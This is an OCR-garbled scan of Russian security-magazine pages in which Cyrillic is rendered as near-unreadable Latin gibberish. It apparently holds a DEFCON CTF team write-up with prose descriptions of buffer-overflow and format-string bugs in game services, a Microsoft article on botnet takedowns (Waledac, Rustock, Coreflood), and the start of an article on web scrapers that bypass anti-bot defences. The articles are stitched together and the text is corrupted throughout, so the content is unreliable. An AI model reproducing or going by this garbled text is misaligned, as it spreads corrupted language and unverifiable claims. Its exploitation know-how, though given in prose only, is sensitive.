cyliecTBoBaNo —3aTo cylwecTsosan tomator. [Iposkcnnyatuposas 3To
NpUNOXKeHNe Ha CepBepe HEBHUMATE bHOM KOMaH/bl, MOXXHO bblno nosy-
4MTbrootn cTawmnTb BCe dnaru. Mbl HalWAV OAHY TaKY KOMaHAY, ycnenu
CTalWmMTb BCE Gpniaru, Ho 3aKPENUTBLCS, K COXKANEHMIO, HE yCnenu.

HaBTopoit seHb komaHpa lollersk8terzymyanpunacb 06oiTn orpaHu-
YeHus pa3paboTynKoB v BLINTU U3 Jail'a, MOAYYMB pyTHA XOCT-MaLLMHE.
PebsitacobpanuBce naru coBcex KoMaHp, Ho NoyeMy-To He 03aboTunucs
LOCTYMHOCTbIO CBOMX CEPBUCOB, NO3TOMY 04KOB 3apaboTaTb He CMOT/IN [0
TOr0 MOMEHTa, Kak pa3paboTumnku Bce 3anaTymau.

Ha TpeTuii ieHb Urpbl YacTb HALUMX UTPOKOB, HEe 3aHATLIX PEBEPCOM, pe-
LKA NPOCKaHUTL CETKU APYTUX KOMAHL, B NOUCKaX Yero-Hubyab BKYCHOT0
Ha nonb30BaTeNbCKNX MallMHax. 3a6aBHO bblN0 HANTN OTKPBITHIN BE6-
cepBep koMaHAbl PLUS@Postech coBceMn nx HapaboTkamu no akcnion-
TaM, loraMun paboTbl 3KCNNOMUTOB C dnaraMu v NpMBaTHLIM Ssh KYoM
oTuxcepsepa.HaDEFCON c BawmnM KoMNboTEPOM MOXET MPON30MUTN YTO
YrofiHo, BaXKHo He 3a6bIBaTb 06 3TOM.

0X05. WHAT HAPPENS IN VEGAS STAYS IN VEGAS
[Mocne copeBHOBaHMA Mbl CHANU NeHTXayc Ha 29-M aTaxe oTens Bellagio
nycTtpounu after party c bnekaxekom n pacfytluaxmMaTaMu M noasnei
Llekcnupa.JlacBerac—3Toropoj, BKOTOPOM COBCEM He X04eTCs
3aHMMaTbCs MHPOPMaLMOHHO Be3onacHoCTblo, 0AHako okono 15000
nocetutenen Black Hat u DEFCON exerofHo npuesxatT TyAa, 4Tobbl
npoBeCcTU HeJeNto BroTOBHOCTU K KnbepBoiHe. BnipoyeM, Ansi Toro 4to-
6ol noyyacTBoBaTb B CTF, faneko exaTb He Hafo: B Poccun takxe npo-
BOAATCA UIPbl, CKaX/AbIM rogoM Habupatwmne Bce bonblie nbonble
yyacTHWkoB — RuCTF, «Cubs Ltdb», Leet More CTF, CITCTF u MHorne
apyrve. TeMm, kTo xo4eTnonpoboBaTh CBOM CUbI B HaBbiKe 6oeBoro
XaKWHra BYyC/0BUSAX OFPaHUYEHHOr0 BpEMEHM 1 CHA, HYXXHO CKopee
cobnpaTb KOMaHAYy U pPerucTpupoBaThCs Ha BAMKANLLIMX COPEeBHOBAHU-
ax! CTyaeHTaM, nogymbiBatowum o pabote B chepe MHGopMaLMoHHOR
besonacHoCTH, CTOUT UMETb B BUAY, 4To MHorue IB-KoMnaHum nog-
b1paloT COTPYAHNKOB B LUTAT NPAMO Ha NoJ0bHbEIX KOHTecTax. ATakylo
BO3MOXHOCTb HeNlb35 ynycKaTb. 30
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MopT: 3128

D®yHKLMOHaNbHOCTb: [1pn coeAMHEHWN B TPU 3Tana YnTaeT [aHHble 13 COKeTa.
Ha kaxpgom aTane no faHHbIM cHUTAETCS XeLl-QYHKLWS OT MONYYEHHbIX
[laHHbIX, M eCAV XeLl yA0BNeTBOPSAET yka3aHHOMY, TO MporpamMMa nepexoamt
Ha cnepytoLuii aTan. Ha nepBom aTane Bce NPOCTO: HYXHO He MoJy4YnTb XeLl,
paBHbI ©xB33007D3 (0H MCMoNb3yeTcs opraHu3aTopamu st akTMBaLmUm

63k opa, nposepsioLLero pabotocrnocobHocTs cepeucal. Ha BTopoM stane
HY>XHO Mony4uTh Xel @XFC1BEOG2A, Toraa nporpaMma maeT fansue. [pu atom
MaKcKMasnbHOe 3Ha4YeHre CYUTbIBAEMbIX JaHHbIX M3 COKeTa Ha 3TVX 3Tanax
127 6aiT, 4To He NpeBbILLAET pa3Mep BbILeNeHHOro Ha CTeKe MaccuBa.

Ya3BuUMocTb: [NepenosnHeHve bydepa HaxonuTcs Ha TpeTbeM 3Tane, Koraa
nocse nofacyeTa 04epeHOro Xella no BXOAHbIM AaHHbIM NporpaMma
MCMOJb3yeT Xell B KaYeCTBe 3Ha4YeHUs MaKCUMMaJslbHOro KosmyecTsa bait
NPV CYUTBIBAHUM CeaytoLLelt NopLMK faHHbIX. BoT TyT-To B cTekoBbI bydpep
(data) pasmepoM B 128 BalT MOXKHO 3anMcaThb CTOLKO GaNT, CKOBKO HYXHO
L7151 epenosiHeHns 1 akcnouTa (mocnenHuii Beizos RacvDataFromSocket).

Xop pewieHus: K 6onblLIOMy coxaneHuio, Kynuamnck Ha 6onbLUoi pa3mep
¢aiina v He cTanu paszbvpaTtb ero B caMOM Hayase, XoTs MepernosiHeHne
0Y4eHb NPOCToe — COPYTUTL XeLl U HaMUcaTb IKCMIIONT.

MopT: —

DyHKUMOHaNbHOCTb: Sandy npefcTaBnseT coboi HeKUA CUbHO
YNpOLLEeHHbI MHTepripeTaTop A3bika C.

Ya3BuMocTb: Hepes castle MoxHO nepefatb nporpammy, kotopas bl
CYMTbIBaNa K04 W OTMPABASIA MX HAaM, @ 330[4HO U Nepe3anucbiBana bbl
KJtoum y conepHuka. OfHako He Bce Tak npocTo. K coxaneHuto, fopen He
MHTEPMNPEeTUPOBaNCs AO/KHBIM 06pa3oM v MPULLNOCL UCKaTb 0bxofHbIe
BapuaHThI.

Xop peweHus: Fopen ucnonb3oBaTh Heslb3s, 3aTo 0TIMYHO paboTaeT
fprintf, B koTopylo B KayecTBe NapaMeTPOB MOXKHO NepeAaThb ysi3BUMYiO
bopMaTHyI CTPOKY ¥ 3a0f1HO 3KCIOWT.

MopT: 5775

@yHKUMOHaNbHOCTB: [1pn COeANHEHUN YNTAET laHHbIe U3 COKeTa U
CpaBHMBAET C yKa3aHHbIMM 3HaYeHnaMK. Ecnn cpaBHeHMS NpoLawv ycneLHo,
TO NPOCUT BBECTU UMA 1 NpuBeTcTByeT: «Welcome to the ddtek blog».
Camo no cebe npunoxeHvie npefcTaBaseT coboi ynpoLleHHbIA aHanor
briora, B KOTOPOM MOXHO 106aBAATL U MPOCMaTPUBaTL 3anucu.

Ya3BUMOCTb: [NepBas NpoBepKa BBEAEHHbIX JaHHbIX MPOXOAUT CO CTPOKOW
«zzyzxrd». Ecnv oHa npoluna ycnewwHo, To BeicTaBnsetcs dnar (flag), npw
KOTOPOM B JjasnibHellleM B nporpamMme BMecTo fputs ncnonbayetcs fprintf ¢
ysi3BMMOW popMaTHON cTpoKow. BTopas npoBepka co cTpokoi «x  1XPPTH@8»
nocse NPUMEHEHUst HECNIOXKHOTO KOAMPOBaHWS (BXOAHas CTPOKaA JOSDKHA
BbITh «xevgdirkhe»), npu ycnewHoctn gnar cbpacsisaeTcs 1 Mcnosb3yeTcs
fputs. Ecnv W Ta, HY pyras NpoOBEpKM He MPOLLNK, COeAMHeHe
06pbiBaeTcs. CoHCTBEHHO, HAM HYXXHO BbII0 NPOIT UMEHHO NEPBYIO
NPOBEPKY M MPO3KCM/yaTUPOBaTh YA3BMMYI0 GOpPMaTHYIO CTPOKY.

XOA peLwueHus: BTo BpeMs KaK 0ijHa 4acCTb KOMaHAbl HOYbIO NbIXTeNa

Hapg hiVeFIOM, BTOpas 4YacTb UccnenoBana gamnbl Tpaq)I/IKa n nckKana
ycrnellHble aTakn Ha Halln CepBUCHI. Pebara ﬂOpaGOTaJ’IM O4eHb XopoLuo,
O6'be,qI/IHVIB yXe nMerlmecd 3HaHna o cepBuce, C «ycrnelHbIMW>» aTakaMu,
nposefeHHbIMU HALLMMW KOHKYpeHTaMn Ha Hac, 1 nony4ynau Hy)KHbIVI
3KCMOUT. «YCMeLHbIMU» B KaBblYKaX, NOTOMY 4TO KOHKYPEeHTbl BCe paBHO He
nony4Yunnaun Hawmx ¢naros — cpaﬁoTana Halla TaKTUKa 3alunTbl. CTpaTervm
nog HaspaHuemMm <<aTaKy|71 MeHs, 4Tobbl 5 aTakoBas Tebsa».
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Anppen bewkos

B nocnepnHee BpeMs o0 D0THETax B pyHeTe ro- on bIT KPynglx

BOPAT O4€Hb MHOTO. B ocHOBHOM 3T0 CBSiI3aHO C

DDoS-atakaMu Ha U3BEeCTHbIe M NoCcelLaeMble KOM nAHMﬁ BOPbBbI C
pecypcbl. OgHaKo nepBble MPOTOTHMbI COBPEMEH-
HbIXx 60THETOB Dbl 06HapyxeHbI ele B 1999 roay. g KM BEPn PECTynHOCTbI'O

YTO TAKOE BOTHET?

BoTHeTnpeacTaBnsfieT coboil COBOKYMHOCTb CUCTEM, 3apaXKeHHbIX
BPEOHOCHbIM KOLOM M yrpaBsieMblX LleHTpanu3oBaHHo. [puyeMyctpo-
€H OH TaKWM 006pa3oM, YTO YHUYTOXKEHWE UNTN OTKJl0OYEeHNE BOCTAaTOYHO
60nbLWOro KoIMYeCcTBa y3/10B He JOJIXKHO BIMATL Ha ero pabotocnocob-
HOCTb B LieJIOM. BOTHeTbI MOryT NCMONb30BaTLCA ANA TaKMUX LieS1el, Kak
paccbinkacnama, puiwmnnr, DDoS, aTakn Ha fipyrue cucteMbl, 3apaxeHue
HoBbIX MK npeBpalieHne nx By3nbl 6oTHeTa. CTONT OTMETUTB, YTO B
[aHHbIA MOMEHT UHAYCTPUA KNOEPNpecTyNHOCTH JOBOJIbHO CUIIbHO
CerMeHTHpoBaHa Mo cneyuannu3alnm m HanpaBaeHHOCTU NPECTYNAeHMUA.
370 03HAYaeT, YTO KaXAblii 3aHMMaeTcs CBOMM enoM. B pesynbrate
noayyaeTcs, YToco3gaTenb boTHeTa npofaeT pecypchl MM YCAyrK
boTHeTa ApyruM 3710y MblLlEHHUKAM, CNeLnann3npyoLMMCcs Ha Tex nau
VHBIX BUAAX NPeCTyneHui (TunoByto 6U3Hec-CTPYKTYpY Thl MOXeLb
noCMOTpeTh Ha umocTpauuu). Crout oTMETUTB, YTo MHTepdelic ynpas-
r neHnsi 60THeTOM L0BOJIbHO MPOCT. C HUM MOXKET CNPaBUTbCS Ye0BEK,

obnapatLwmin faxe o4eHb HU3KOM KBanudukaumein. B cootBeTcTBUM C
a obnayHbIMU BEAHMAMY, BIOCNeHee BpeMs nosiBuaacbk ycnyra Malware

asaService. ECIMKTO-TO He MOXXeT CO3/jaTb ¥ PacnpoCcTPaHiTb CBON

3/10BPEHbI KOJ, BCerpa Haiaetcs bonee onbITHbIA NpoBaliaep Takux

j yCnyr, cnocobHbIN cAenaTh 370 3a onpefieneHHble ieHbr. Bnpoyem,
L]. 'ﬂ co3/aTb 60THeT cerofjHa ToXe He bor BeCTb Kakas cjoxHas 3afaya. Ha
PbIHKE eCTb MHOXECTBO FrOTOBbIX HAbOPOB ANS U3roToBNEHNS HOTHE-
Ta, Takux Kak Zbot (Zeus), Spyeye, Mariposa, Black Energy, ButterFly,
CxeMaucnonb3oBaHus 6oTHeTa Reptile. 3To 03HayaeT, Y7o coBpeMeHHbIe BNajeNbLbl 60THeTOB MOryT

BoTHer
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paxe He obnagatb KakMMU-1160 0COOLIMU TEXHONOTMYECKUMU HaBbI -
Kamu. BnpoyeM, ecim roBopnTb 0 KpyMHbix 60THETaX, TO UX co3paTenn—
370, 6€3yC0BHO, CNOCOOHbIE, TaNAHTNUBLIE JIIOAN, HOPOTHCS C KOTOPLIMM
[L0BOJIbHO CJI0XKHO. B pamMkax aToro MaTepuana s xoTes bbl pacckasatb 0
NpaKTUKaX, KOTOPble UCMOIb3Y0TCS H0bLIMMU KOMTAHUAMY A 151 60pb6bI
CKnbepnpecTynmHOCTbIO U, BY4acTHOCTK, boTHeTamu. Peyb, ByacTHOCTH,
novaeTob akTMBHOCTU KoMNaHuu Microsoft, B koTopoii s u paboTato.

MICROSOFTVS.BOTHET

B03MOXHO, 3TO ¥ 3aCTaBUTKOro-To yablbHYyTbCS, HO B Microsoft B no-
criefiHMe HeCKOJbKO JIeT Hab o AaeTcs cepbe3Has paboTa no NoBbILIEHUIO
6e3onacHOCTM NPOAYKTOB M CePBMCOB. [10SBUINCH M CTANN MPUMEHATLCS
MeToponoruu paspabotkn 6esonacHoro koga SDL, 4To KntoyeBbIM 06pasom
MOBJINSNIO0 Ha KOJINYECTBO HalAeHHbIX 3a NOCNeAHEE BPEMS YSI3BUMOCTEN
(0ocobeHHO Tex, KOTOPbIE MOXHO 3KCMYaTUpOBaTh). Ho peyb cerogHs noii-
LLeTHE 0 NPeBEHTUBHbIX MEPAX, KOTOPbIE MOrYT NPeA0TBPaTUTbL byAyL e
yrpo3bl, aobopbbe c npobnemMamu, KoTopble akTyasnbHbl cerofHs. bonbuoe
KOMMYeCTBO 3apaXKeHHbIX MallWH —Kak pa3 Takas npobnema.

BHyTpu KoMnaHnu bbi1 co3aaH Lenblii psgnofpasgeneHuiino bopsbe c
kubepnpectynnenusamu. MocnefHune HocaT pasHble uMeHa — Digital Crime
Unit, Microsoft Security Response Center, Microsoft Malware Protection
Center,Trustworth Computing, —H0 3aa4u Kax40ro Tak uiau nHaye
nepecekatwTcs cnpobnemMoit kubepnpecTynHocTu. BMecTe c npaBooxpaHu-
TeSbHbIMUW OpraHaMm 1 MccaefoBaTeIbCKUMM opraHn3ayusamm Microsoft

3akpbiTe H0THETOB pe3Ko COKPaTHII0 KOIMYECTBO MMPOBOro CNaMa
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Kak 3akpblBaloT 60THETHI

YHUYTOXEHWIO KpYyNHENLMX 60THETOB. 3BYYMNT rpPOMKO?

3a rof 611 YHUYTOXEHbI TaKWe HOTHETBI, Kak:

o k, paccbinaBlunii 80 % MupoBoro cnama.

e Coreflood, KoTOpbIN CAYXWA MHCTPYMEHTOM 4151 GUHAHCOBBIX Npe-
cTynaeHun, npuHecwmux 6onee $100 MHy6bITKOB.

e Waledac, 6otbl koToporo otnpasnsnun 1,5 Mnpacnam-coobuieHunin
eXefiHeBHO. B npoliecce eronccnefoBaHns bbino HaiteHo nos-
MUAJINOHA Naposiel 0T NOYTOBLIX ALLUKOB Nosib3oBaTenenn FTP-
cepBepos.

BEOPbBEA CBOTHETAMU: OBLLUME NMPAKTUKN

[N TOro YTobbI NOHATHL TUMOBbIE CMOCOOLI YHNYTOXKEHUS DOTHETa, HAaA0
pa3obpaTbCcsi ceroapxutekTypoii ncnabbiMm MecTamu. Hauie Bcero ans
ynpaBJieHns 0THETOM MCMOJIb3YeTCH OANH NI HECKOJTbKO KOMaHgHbIX
(4acTo LeHTpanbHbIX) cepeepos, HazbiBaeMbix Command & Control, uau
C&C. OHV B3aNMOLENCTBYIOT C KOHEYHBIMU y3/1aM1 BOTHETA M0 Pa3HbIM
npoTokonam. Hanbonee yacTo B kKayecTBe MPoOTOKOJIa ypaBaeHUS UC-
nonb3yetcs IRC. Bnpoyem, BnocneaHee BpeMs pe3Ko yBeIMYnaoCh npu-
MeHeHne P2P-npoTokonos kak bosiee ycTONYMBON, XOTH N TEXHONOTNYECKM
CNOXHOW anbTepHaTUBbI. IHTepecHO 3K30TMKO B NocieHee BpeMs
CTaso0 1Cnoab30BaHve AnsynpaBaenmns botHeTa pannoobMeHHbIX ceTelt
nnepefayaynpaBnsoLLUX KOMaH B Tene doTorpaduit, nybanKyembix Ha
Facebook. Tak nnn uxnaye, ans 60opbbbl c 60THETOM MOXXHO NPeANPUHATD
HeCKOJIbKO KOHKPETHbIX A,eCTBUIA:

L R R e ]
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BOTHET
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Cyne6Hoe peweHnue no- - Il
3BOSINAONPUOCTAHOBUTD |:|| =t
AencTBUE AOMEHOB, UC- L__||

nonb3yeMbix 60THETOM
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B3JIOM

e 3axBaTuTbunnBbiBeCTU M3 cTpos C&C-y3nbl.
e DDoSHaC&C-y3nbl.

¢ XXanobbl nposanpepy, rae xoctatcs C&C-y3nbl.
e 3axBaTDNS-uMeH, ncnonbayembix C&C.

e bnokuposaHue IPappecos.

e ApecTtBnagenblaboTHeTa.

e CynebHbIf UCK.

K coxaneHuto, He BCe U3 3TUX CNOC060B 3P PEKTUBHBI, @ HEKOTOPbIE 1
BOBCE He3aKOoHHbI. MeXy TeM HEKOTOpPbIE M3 HUX HaM YCTELLHO YAa0Ch
npuMenuTb. Tak, 6oTHeThl Rustock n Coreflood Bb1aM yHUYTOXEHBI ,OBOSIb-
HO TpMBMaNbHO. 3Toyaanoch cAenath c nomoluio 3axsata C&C-cepeepos
NpaBoOXPaHWTEsIbHLIMY OpraHaMy Mo peLleHuio cyaa. 3aTeM npasuTesb-
ctBo CLLIA fano npaBooxpaHUTEbHbLIM OpraHaM pa3peLleHne c NoMoLLb
KOoMaHAHoro nHTepdeica 6oTHeTa nocaTh KOMaHAY yaaneHns Kona
MaJsiBapy € 3apaxeHHbix MallvH. PaboTa no 3akpbiTHio Apyroro botHeTa —
Waledac—oka3anacb ele bonee MHTEPECHOW, U Ha 3TOM MOMEHTE S XOTeN
6bl0CTAHOBUTLCS NOAPOOHee.

WALEDAC: YCTPOMUCTBO

CnoxHocTb bopbbbl c Waledac 3akntoyanach B jeLleHTpaan30BaHHOM cxe-
Me paboTbl 6oTHeTa. [lnseropaboTbl bb1n0 3ape3epBUPOBAHO HUMHOTO HU
Mano 277 [LOMEHHbIX UMEH. 3TO 3HAYUT, YTO 3aXBaTblBaTb CEpPBEPa HYXKHO
6b110 0/LHOBPEMEHHO Y Pa3HbIX NPOBaNAePOB XOCTUHIa. KpoMe Toro, Ans
ynpanieHus 60THeTOM ycneLwHo ncnonb3osancs P2P-mexanusm. Ecin
nocMoTpeTb Ha cxeMy boTHeTa, To cpa3y bpocaeTca B rnasaMHOroca0mn-
HOCTbynpaBnstoLWmx cepepoB. Bnpouecce 3apaxeHns cMCTeMbI € No-
molybto Waledac 3noBpeHbI Kof onpeAensieT, Kakyto posib OyaeT BbINo-
HATb HOBbIV y3e. OH CTaHOBUTCA IMBO NPOCTLIM Y3/10M, pacChiNatoLWwnm
cnaM, ecnnm HaxoanTcs 3a NAT U He NpuHUMaeT BXOASLLME COeANHEHNS Ha
801 nopt, 1M60 y3/10M, KOTOPLIA NOBTOPSET (peTpaHcapyeT) KoMaHabl 13
LleHTpa, —TO eCTb CBOEr0 pofa pennuTepoM. Penutepbl CNonb3yTcs Ans
ynpaenieHus 60THeToM. Kax bl penuTep KpoMe nepefayn ynpasnsio-
LMX KOMaHA y31aM-cnaMepam nogaepXmnBaeT TakXKe CMUCOK «Coceaen»,
cocToswmMin n3 100 y3n0B, TaKXKe BbIMONHAKLWMX POSib peTpaHCAsTopa,

K KOTOPbIM OH MOXeT NoAKNtounTbcs no P2P npoTtokony. CoBpeMeHeM
noboiiy3en-noBTopuTeNb perucTprupyeTcBoe foMerHHoe nms 8 fast flux
DNS. 370 senaetca gnaToro, 4Tobbl LaTb BO3MOXKHOCTb 0OpaLiaThCs K

[ TRTTTY
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HE TAKUE, KAKBCE

OnpoMeTynBO CYUTaTh, 4TO BOTHETHI COCTOATTONIbKO U3 Windows -MallmH.
Ectb 60THeTsl M Ha Linux/Unix—Psyb0t, Chuck Norris, HacuuTbiBatoLme coT-
HUTBICAY YCTPOCTB. BOCHOBHOM Takne 60THeThI CO3A4at0TCs M3 OMALLHMX
MapLUpyT13aTopoB, KoMMyTaTopoB M NAS HYXKHEr0 LLeHOBOr0 iuanasoHa.
YHUYTOXUTb TaKo 6OTHET KpaiHe TPYLHO, TaK KaK AOMAaLLUHWI Nob3oBaTeNb
BOONbLINHCTBE CNlyYaeB He 06nafaeT3HaHMAMM B Linux v HaBbikaMn 06HOB-
SIeHWs NPOLLIMBKMYyCTpoiicTBa. [IpOM3BOAMTENbYCTPONCTBA 3aUHTEPECOBAH B
BbICTPOM yCTapeBaHWMyCTPOMCTBA U YaCTO HE TOJIbKO He HAMEPEH YCTPaHAThL
HeJ0CTaTKM, HO M He MMeeT MeXaHW3MOB LieHTpaan30BaHHOro 06HoBEHNS
cBOMX MpoAyKToB. [o faHHbIM nccnenoBanus 012009 roga, BUHTepHeTe B
11106011 MOMEHT MOXKHO HaN T HECKOJIbKO MUJIIOHOB OMALLHWUX YCTPONCTB C
yCTapeBLUVMMU NPOLLMBKAMM U MaposMM M0 YMOTHaHMIO.
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Kak 3a KpbIiBaloT 60THeTbI
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Perncrpaumus AOMEHHOro UMEHH

cebeysnam-cnamepam, ecnun 6nnxaiWwnin K HUM penuTep BAPYT BbIAAET
M3 CTPOsi U CTaHeT HeaoCcTyneH. TaknuM obpa3oMy3nbl boTHeTa Bceraa
MOTYTHaWTU 6nvKaiWnii y3en-peTpaHCNATOP M NOyYaTb OT HEro
KOMaHAbl M 06HOBNEHUA ncnoNHseMoro koaa. Co BpeMeHeM posiv y3noBs
MOTyTMeHATbCA. Ecnu cucteMa, ncnonb3yeMas Kak peTpaHcasTop, K
npuMepy, NonagaeT B KOPNOPATUBHYIO CETb M INLLIAETCH BO3MOXHOCTK
NpUHMMaTbL NOAKt0YeHNs Ha 80- NopT, To 0Ha aBTOMaTUYeCKW Mony-
yaeT posibcnamepa. MpunaToM NpoaHanusnpoBaTb Tonoaoruo 6oTHeTa
He Tak NpocTo, NOTOMY Kak elle 04HON 3afaveil penutepa apnseTcs
npoTUBOLENCTBUE UCCef0BaHMIO TONONOrNM BoTHeTa. OH CyXNT
CcB0O€0OpPa3HbIM MPOKCK U HE MO3BONSETy31aM-CcnamMepam 3HaTb 4To-
nnboobynpasnstowmxysnax C&C.

WALEDAC: YHUYTOXEHUA
MpoaHanuanposasapx1TekTypy boTHeTa, Mbl NpopaboTanu niaH gna
aTakn Ha boTHeT co cey oMU KOHKPETHBIMY LUarami:

1. HapyleHue p2p-MexaHn3Ma 0bMeHa ynpaBnsiolwMu KoMaHAaMu.
2. Hapywenne obmexa DNS/HTTP-koMmaHgamu.

3. HapyuweHve paboTbl AByx BepxHux cnoes C&C-cepBepos.

[TepBbIM Ae1OM HYXHO Oblo NpepBaTh paboty P2P-mMexannama. B
CBA3N CTEM, 4TO QYHKLMS HAXOXKAEHNS BnnxKalilero peTpaHcaaTopa
BHYTpn 60THeTa paboTanaHecTabunbHO, bbina BO3MOXHA CUTYaLMs, YTO
y3ny npuxoaunoch nepebpatb o 20anpecos, HaXoAALLMXCS B €T0 CMUCKE
«cocepen», 4ytTobbl HaTn paboTatowmin cocefHuii penutep. bnarogaps
3TOMY HaMy[anoch Co3AaTb NoAAeNbHbIE PENUTEpbl, BKIIOUYUTbL UX B CO-
cTaBboTHeTa M HayaTb PacNpoCTPaHATL pasbluvBble 06HOBAEHUS CNINCKa
pennTepoB, TeM CaMblM HapYLINB CBA3HOCTb CUCTeMbI ynpaBnieHus P2P.
3Tono03BoNIMIO Nepe/iaBaTb KOMaH bl y3n1aM-cnamMmepam oT cneLnanbHo
Co3JaHHbIX KOMaHAHbIX cepBepoB Microsoft.

B cnyyae HepaboTocnocobHocTv P2P-MexaHn3Ma y3nel 6oTHeTa
HayMHalTMCKaTb APYr Apyrac noMolybto Mexanuama fast flux DNS.
[MoaToMy He0bXx0MMO ObINI0 pa3pyLWUTL 1 3TOT cnocob ynpasneHus, YTobsl
3/10YMbILIEHHWK He MOr BOCCTaHOBUTL KOHTPO/b Haf 6oTHeTOM. 3To
MHTEPECHbII MOMEHT, NOTOMY 4TO 3,eCb Mbl UCMOJ1b30BAIN OPUANYECKII
MexaHu3M. TunuyHas npouenypaot3biea DNS umenun yepe3ICANN cno-
MOLLbIO MpOLEeAypbl CO CTpallHbIM HazBaHveM «Uniform Domain-Name
Dispute-Resolution Policy» MoXeT3aHATb ,OBObHO MHOMO BpeMEHW. 3T0
M03B0JIIIO Obl 3/I0YMbILLISIEHHMKAM YCMeTb 0CO3HATb, YTO MX aTaKyloT,

1 NpeAnpUHATL Mepbl no peructpaunm Hosbix DNS-uMeH, Ha koTopble
nosxe nepesecTnynpasnerne botHeToM. [lo3ToMy BMeCTo CTaHAapTHO
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CTaHpapTHLIN NOAXOA KYNpaBAeHnio 60THeTOM

npoueaypsl ICANN Mbl Bocnonb3osanucs npoueaypoi TRO [temporary
restraining order) —B03MOXHOCTbI0 BpeMEHHO MPUMOCTaHaBANBATbL Aeii-
CTBMe OMeHOB Ha 28 iHelt. HaaToM 3Tane ele 04HOM CNOXKHOCTbIO 6bIS10
T0, 4To yacTb DNS-uMeH bbina 3apeructpuposaHa Ha TeppuTopun Kntas u
Hupepnanpos. MoBofoM ans cynebHoro ncka bbino HapyLeHe TOProBow
Mapku Microsoft n Pfizer. BoTHeTakTMBHO pacchifian nMcbMa C yBe4oM-
NEHNSMYM 0 BbITPbILLE B HECYLLeCTBYloL et noTepee Microsoft v peknamy
noffenbHbIX 1eKapcTB nod Mapkoii Pfizer.

[nsToroyTobsl 3n0yMbllneHHUKK Morav nobopoTbes ¢ Microsoft B
Cyfe, XeNNY HUX NOSBUTCS XKelaHVe 3asiBUTb CBOM NpaBa Ha 60THeT, Ha
caiTe bbinoonybnukoBaHo UCKOBOE 3asiBNieHNe. TakxKe B HaLMoHaNb-
HblX Fa3eTax Ha TeppUTOPUM CTPaH, OTKYa NO403PEBaEMbIe yNpaBasamn
6oTHeTOM, bbINN 0NybANKOBaHbI yBELOMNEHNS 0 BbI30BE B CYA. Kak n
npeAnonaranock, HUKTO He MOCME IBUTHCS B CYA M 3aBUTb 0 CBOMX
npaBax Ha boTHeT. TakuM 0b6pasom Microsoft Beirpan cynHa TeppuTopmm
CWA, Kutas nHupepnaHgos. MoapobHee 0 opUAUMYECKUX TOHKOCTSX U
nepuneTnsx 6opbbbl3a GOTHET MOXKHO NOYNUTATb B CNELMANbHOM pasgene
canTaMicrosoft (bit.ly/rIDUDA).

B pesynbrate atuxtopupnyeckux fenctesmin npasaHa DNS nepewnu
K Microsoft. Ha paHHbIi MoMeHT DNS-nMeHa noaKtoYeHbl K cepBepam
Microsoft. B cnyyae, ecnivm K aTuMm cepBepaM NoAKII0YaETCS 3apaXKeHHbIn
y3enu3boTHeTa, Ha Hero noflaeTcs KOMaHAa, NpukasbiBatoLas 6oty
be3feiicTBoBaTh. Kcoxanenuto, Microsoft He umeeT npaBayfanuTh
BpefoHOCHbIN Kof, 6oTa Waledac, noaToMy Mbl cBi3biBaeMcs C NpoBai-
[epaMu, 4epe3 KOTOPbIX N0/1b30BaTENb NOAKIYEH K CeTM M NpocuM nx
MOMOYb N0b30BaTENIO N30aBUTLCA OT BPEJOHOCHOT0 KOAA C MOMOLLbI0
BecnnaTHbIX yTUNUT, Taknx kak Microsoft Security Essential n Malicious
Software Removal Tool.

3AKJIOYEHUE

Mbl HafleeMcsi TakiM 06pa3oM NOCTENEHHO O4NCTUTL MHTEPHET 0T Mo-
cnepHux octatkoB boTHeTa Waldac. YTobbl 3n0yMbilwneHHWKaM bbino
HenoBajHoO B asibHelWweM co3faBaTbh boTHeThl, Microsoft B coTpyaHu-
YyecTBe CMPaBOOXPaHMTENIbHbIMM OpraHaMu NpojoJxxaeT paccaefo-
BaHue n cbop gokasaTenbcTs. C3TON LeNbio Mbl NPEAI0XKMAN HAarpaay
8$250 000 oMy, KTO COOBWMT CBEEHNS, CNoCcOBCTBYOWME apecTy
npecTynHon rpynnel, cTosswei 3a Rustock (bit.ly/oR7x88). Mo Ha-
LeMy OnbITY, TaKOM NOAX0[ MOXeT cpaboTaTh. B3aBeplieHune xoyeTcs
cKa3aTb, YTo Microsoft B fanbHeleM HaMepeH akTUBHO bopoTbes
ckunbepnpecTynneHuaMu, npecneays 310yMblLUEHHNKOB BCEMM [0~
CTYyMHbIMM eMy cnocobamu. 3T
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gbz (cayd@yandex.ru)

ABTomaTnyeckuin cbop nHdGopma-
LMV C Yy)KNX CaTOB B 60MbLLUNX "
a!laLI.leMAMCKeTbI
obbeMax—3afavya npocTasg TONlb-  Hatmewssuneo, nog-
o poﬁuoonucunamu.lee
Ko Ha nepBbIv B3rna4. CerogHs s npoueccnapcuira
o cepsucaslil.ru.
nofentocb C TOHOM KOHKPETHBIM
OMNbITOM N0 Co3AaHuto rpabbepos 3a60TME0 BLINOXHH
BCce HeobxoauUMble
ANS yAaneHHbIX PpeCypCOB Ha PN~ cKpMnTsIMnpuMept.
Mepe BCeM U3BECTHbIX CEPBUCOB
mamba.rumslil.ru.
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LINKS
bit.ly/qV1528 —

MaHyas no HacTPoiKam
cURL

bit.ly/oMBmcW—
nnarui
LiveHTTPHeaders ans

pPEeAnonoXnM, Nepes HaMu CTOUT 3a4a4a NpoaHanM3npoBaThb
MUSIIMOH CTPaHWL, OALHOTO cCaiiTa u cobpaTh C HUX KaKyH-TO
KOHKpeTHYI0 MHGopMaLMio: BbIAPATb CCbINKKW, TeNleGoHbl, UMeHa

nTakpfanee. Bpoae kak3ates o4eHb NPOCTas M peLlaeTcs HECNOXHbIM

CKPUNTOM, KOTOPbI ByAeT Xo0ANTb N0 CalTy, aHaIM3MPOBaTb KOHTEHT U Bbl-

LMPaTbOTTYAa HYXKHbIE flaHHble.

OpHako Ha fiene BCE He TaK NPOCTO: Ntobble CEPBUCHI He 3anHTepecoBa-

Hbl BTOM, 4TODObI C UX cMcTeMaMm paboTanu 60Tbl. HUKTO He xo4eT, 4Tobbly

Hero BOpoBanv MHPOPMaLUIo, 3arpyanu cepBepa HeHYXHbIM TpadpuKom

MMOHOCTbIO UTHOPUPOBANK peknamy. [o3ToMy Bce KpynHble CepBUCHI

aKTUBHO boptoTcs c 60TaMm, UCNoNb3ys pa3HoobpasHble TEXHONOrMK:

e CAPTCHA;

e asTopusauuio (cookie, ceccuul;

* cepTudumKaThl;

e JavaScript-3awuTy;

®  JIUMUT COEAVHEHWI;

* reHepaluio knwyeit goctynayepesflash;

e npyrue, boneensollpeHHble CNocobbl 3aLWnThI.

